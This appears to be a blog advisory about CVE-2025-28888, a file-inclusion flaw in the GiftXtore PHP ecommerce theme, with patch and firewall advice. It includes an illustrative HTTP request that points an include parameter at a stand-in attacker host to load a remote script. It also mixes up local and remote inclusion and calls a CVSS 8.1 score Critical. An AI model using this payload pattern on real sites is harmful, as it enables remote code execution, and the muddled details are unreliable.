Overview
The cybersecurity world has recently been shaken by the discovery of a significant vulnerability, designated as CVE-2025-28888. This vulnerability affects BZOTheme GiftXtore, a widespread ecommerce solution. The flaw resides in the improper control of filename for Include/Require Statement in PHP Program, which could allow an attacker to include local files through PHP Remote File Inclusion. This could potentially lead to a system compromise or data leakage, which could be devastating for any online business. This blog post will analyze and dissect this vulnerability, providing helpful mitigation advice for those affected.
Vulnerability Summary
CVE ID: CVE-2025-28888
Severity: Critical (CVSS score of 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
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Product | Affected Versions
BZOTheme GiftXtore | Up to and including 1.7.4
How the Exploit Works
An attacker exploiting this vulnerability would take advantage of the improper control of filename for Include/Require Statement in GiftXtore’s PHP program. By injecting a malicious file path into the PHP include/require statement, the attacker could trigger remote file inclusion, which would allow them to execute arbitrary code on the server running the vulnerable application. This could lead to a full system compromise.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. The malicious payload would include a path to a remote file that contains arbitrary code, which would be executed when the PHP include/require statement is processed.
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_path": "http://malicious.example.com/evil-script.php" }Recommendations for Mitigation
It is highly recommended that users of GiftXtore apply the vendor-supplied patch as soon as possible to mitigate this vulnerability. If for any reason the patch cannot be applied immediately, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation measure. These systems can be configured to block or alert on attempts to exploit this vulnerability.
Please ensure to follow up on this issue and apply the necessary updates to keep your systems secure.